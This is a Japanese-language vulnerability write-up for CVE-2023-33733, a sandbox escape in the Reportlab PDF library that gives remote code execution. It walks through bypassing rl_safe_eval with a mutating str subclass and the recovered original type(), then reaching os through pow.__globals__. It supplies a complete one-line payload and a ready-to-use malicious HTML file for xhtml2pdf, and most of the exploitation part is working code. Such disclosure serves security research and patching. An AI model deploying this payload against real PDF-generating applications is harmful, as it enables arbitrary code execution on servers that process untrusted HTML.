
CVE-2023-33733に関する詳細な技術解説と概念実証(PoC)エクスプロイトです。Reportlab PythonライブラリのHTMLからPDFへの変換処理におけるサンドボックス回避を利用したリモートコード実行(RCE)の脆弱性です。
tl;dr この記事では、ReportlabにおけるRCE(リモートコード実行)がどのように発見され、悪用されたかを詳しく説明します。ReportlabがHTMLからPDFへの変換処理で広く使われているため、この脆弱性は多くのPDF処理アプリケーションで到達可能であり、パッチ適用と注意が重要です。
数日前、Webアプリケーションの監査中に、アプリケーションがReportlab Pythonライブラリを使用してHTML入力から動的にPDFファイルを生成していることに気付きました。Reportlabには以前にパッチが適用されたコード実行に至る脆弱性がありました。つまり、パッチの回避策を見つけることは攻撃者の観点から非常に興味深く、コード実行の再発見につながるからです。特にReportlabライブラリは他のアプリケーションやツールでも使用されています。
まず最初に、簡単なおさらいです:Reportlabは、Pythonプログラミング言語を使用してAdobeのPortable Document Format(PDF)でドキュメントを作成できるオープンソースプロジェクトです。また、PDFだけでなく、さまざまなビットマップ形式やベクター形式のチャートやデータグラフィックも作成します。
このライブラリは2019年に同様のエクスプロイトが知られており、HTMLタグのColor属性を介してリモートコード実行に至りました。属性の内容がeval関数を使用してPython式として直接評価され、コード実行につながりました。この問題を緩和するために、Reportlabはrl_safe_evalと呼ばれるサンドボックスを実装しました。これはすべてのPython組み込み関数を取り除き、複数の組み込み関数をオーバーライドして、危険な関数やライブラリへのアクセスを停止しながら、ライブラリの安全なコードの実行を許可します。これにより、危険なPythonコードの構築を防ぎます。
この防止策の例として、組み込みのgetattr関数が制限付きの関数__rl_getitem__でオーバーライドされ、で始まるようなオブジェクトの危険な属性へのアクセスを禁止しています:
__class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# IN THIS LINE IT CAN BE OBSERVED THAT THE BUILTIN GETATR IS REPLACED WITH A CUSTOM FUNCTION
# THAT CHECKS THE SAFETY OF THE PASSED ATTRIBUTE NAME BEFORE GETTING IT
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# MULTIPLE CHECKS ARE DONE BEFORE FETCHING THE ATTRIBUTE AND RETURNING IT
# TO THE CALLER IN THE SANDBOXED EVAL ENVIRONMENT
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
# NO ACCESS TO ATTRIBUTES STARTING WITH __ OR MATCH A PREDEFINED UNSAFE ATTRIBUTES NAMES
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
前述の安全なevalは、環境からすべての危険な関数を除去し、実行コードが悪意のあるアクションを実行するために使用できる危険なツールにアクセスできないようにします。しかし、これらの制限の回避策が見つかり、元の組み込み関数のいずれかにアクセスできた場合、サンドボックス環境の悪用が大幅に容易になります。
オーバーライドされた多くの組み込みクラスの1つはtypeと呼ばれます。このクラスが1つの引数で呼び出されると、オブジェクトの型を返します。しかし、3つの引数で呼び出された場合、新しい型オブジェクトを返します。これは本質的にクラス文の動的形式です。言い換えれば、別のクラスから継承する新しいクラスの作成を可能にします。
ここでのアイデアは、strから継承するWordという新しいクラスを作成し、それをカスタムgetattrに渡すとチェックをバイパスし、__code__のような機密属性へのアクセスを許可することです。
サンドボックス化されたeval内のカスタムgetattrは、属性を返す前に、__rl_is_allowed_name__を呼び出していくつかのチェックを行い、呼び出された属性の安全性を確認してからPython組み込みのgetattrを呼び出し、結果を返します。
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
__rl_is_allowed_name__関数をバイパスするために、Wordクラスは以下を満たす必要があります:
startswith関数への呼び出しで常にFalseを返し、(name.startswith('__')をバイパスする__eq__呼び出しではFalseを返し、name in __rl_unsafe__をバイパスする。最初の呼び出し後は正しい応答を返す必要がある。なぜなら、Python組み込みのgetattrによって__eq__が呼び出されたとき、正しい結果を返す必要があるからです。次のクラスはこれらの基準を満たしています:
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## prints False
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code.startswith('__')) ## prints False
安全なeval内のカスタムtype関数は、3つの引数を渡すことを許可していません:
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('type call error')
これに対する回避策は、type自体を呼び出すことで見つかり、元の組み込みtype関数を取得できるようになります:
orgTypeFun = type(type(1))
これらの2行のコードを組み合わせると、次のようになります:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
元のエクスプロイトには複数の欠点があり、Python 3.10でのみ悪用可能でした。これらの問題を解決するために、os Pythonモジュールにアクセスする新しいアプローチが考案されました。
Reportlabライブラリは、複数の組み込み関数の実装をオーバーライドし、それらをグローバルとしてevalコンテキストに注入します。
rl_safe_eval.pyにおける、カスタム関数でオーバーライドされたデフォルトの組み込み関数の例:
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
__rl_builtins__['iter'] = self.__rl_getiter__
__rl_builtins__['pow'] = self.__rl_pow__
__rl_builtins__['list'] = self.__rl_list__
__rl_builtins__['type'] = self.__rl_type__
__rl_builtins__['max'] = self.__rl_max__
これらの関数はグローバルコンテキストで構築されているため、これらのカスタム関数の__globals__属性を使用してグローバル変数やモジュールにアクセスできます。
以下のコードはevalコンテキスト内で実行する必要があります
globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')
あとはエクスプロイトを書くだけです:
これを行うために、コンパイルされた関数のバイトコードから関数を再構築します:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self))
})
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')
ただし、このような複数行の式はevalコンテキストでは実行されません。この問題を回避するために、リスト内包表記のトリックを使用できます。次のようなものです:
[print(x) for x in ['hellworld']]
# which would be equivalent to
x='helloworld'
print(x)
[[ print (x + ' ' + y) for y in ['second var']] for x in ['first var']]
# which would be equivalent to
x='first var'
x='second var'
print (x + ' ' + y)
このテクニックを使用すると、エクスプロイトコードを次のように1行のコードに書き換えることができます(これは1行と見なされます x) ここでの複数行はエクスプロイトの可読性を高めるためのフォーマットに過ぎません。宣言は下から上に読む必要があります x) 奇妙ですが、これが動作する方法です):
[
[
getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
for Word in [
orgTypeFun(
'Word',
(str,),
{
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate()
and self.mutated < 0
and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self)),
},
)
]
]
for orgTypeFun in [type(type(1))]
]
poc.pyを参照してください。コード実行を示す概念実証が含まれています(エクスプロイトが成功すると、exploitedというファイルが/tmp/に作成されます)。
多くのアプリケーションやライブラリがReportlabライブラリを使用しています。例えば、xhtml2pdfユーティリティ関数は脆弱であり、悪意のあるHTMLをPDFに変換する際にコード実行を受ける可能性があります。
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
EOF
xhtml2pdf mallicious.html
ls -al /tmp/exploited
Matthias Weckbecker氏の協力と、元のエクスプロイトの欠点についての素晴らしい意見交換に感謝します。現在、エクスプロイトはすべてのPython 3バージョンでシームレスに動作します :D